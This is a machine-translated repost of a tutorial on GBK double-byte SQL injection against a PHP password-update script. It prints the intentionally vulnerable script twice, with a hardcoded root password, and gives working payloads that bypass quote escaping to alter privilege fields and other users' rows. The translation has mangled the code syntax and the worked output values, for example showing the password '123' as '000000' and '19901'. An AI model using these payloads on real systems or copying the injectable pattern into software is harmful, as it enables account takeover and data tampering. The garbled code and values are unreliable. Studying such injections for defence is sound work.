Another example of double byte encoding escaping from single quotes in PHP: SQL UPDATE Injection

Source: Internet
Author: User

The principle is the same as "using double-byte encoding to break through the single-byte escape limit of PHP for SQL injection.


View plaincopy to clipboardprint?
<? Php
 
// By redice 2010.10.21
 
// Connect to the mysql database
$ Conn = 0;
$ Conn = mysql_connect ("localhost", "root", "redice2009 ");
If (! $ Conn)
{
Die ("cannot open the database connection, error:". mysql_error ());
}
 
// Select a database
Mysql_select_db ("test", $ conn );
 
// Set the character set of mysql output data
Mysql_query ("set names 'gbk '");
 
 
 
// Password Modification Process
 
$ Newpass = $ _ REQUEST [p];
 
 
$ SQL = "update user set pass = '$ newpass' where name = 'redice '";
Echo "executed query =". $ SQL. "</br> ";
 
If (! Mysql_query ($ SQL, $ conn ))
{

Echo mysql_error ();
}
 
?>

<? Php

// By redice 2010.10.21

// Connect to the mysql database
$ Conn = 0;
$ Conn = mysql_connect ("localhost", "root", "redice2009 ");
If (! $ Conn)
{
Die ("cannot open the database connection, error:". mysql_error ());
}

// Select a database
Mysql_select_db ("test", $ conn );

// Set the character set of mysql output data
Mysql_query ("set names 'gbk '");

 

// Password Modification Process

$ Newpass = $ _ REQUEST [p];


$ SQL = "update user set pass = '$ newpass' where name = 'redice '";
Echo "executed query =". $ SQL. "</br> ";

If (! Mysql_query ($ SQL, $ conn ))
{

Echo mysql_error ();
}

?>

 

(1) When gpc is off.

Submit p = 123 ', groupid = '1 SQL statement:

Update user set pass = '000000', groupid = '1' where name = 'redice'

(2) In the case of gpc = on.

Using GBK Double Byte encoding, you can bypass the single quotation mark escape.

The analysis is as follows:

Submit p = 123% d5 ', groupid = 1 where id = 1% 23

The url encoded by the browser is:

P = 123% d5 % 27, groupid = 1% 20 where % 20id = 1% 23

After the PHP url is decoded, it is:

P = 1230xd50x27, groupid = 10x20where0x20id = 10x23

After escaping through PHP, It is (insert 0x5c before 0x27 ):

P = 1230xd50x5c0x27, groupid = 10x20where0x20id = 10x23

Since the server uses gbk encoding to connect to the database (set names 'gbk'), the above byte sequence is understood by MySQL as a gbk character as follows:

P = 123 comment ', groupid = 1 where id = 1 #

PS: 0xd50x5c corresponds to the Chinese character "escape", which consumes single quotation marks and bypasses escape.

The final SQL statement is changed:

Update user set pass = '19901', groupid = 1 where id = 1 # 'where name = 'redic'


PS: % 23 is decoded as #, which is used to annotate the SQL statement to conform to the syntax specification.

 


 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.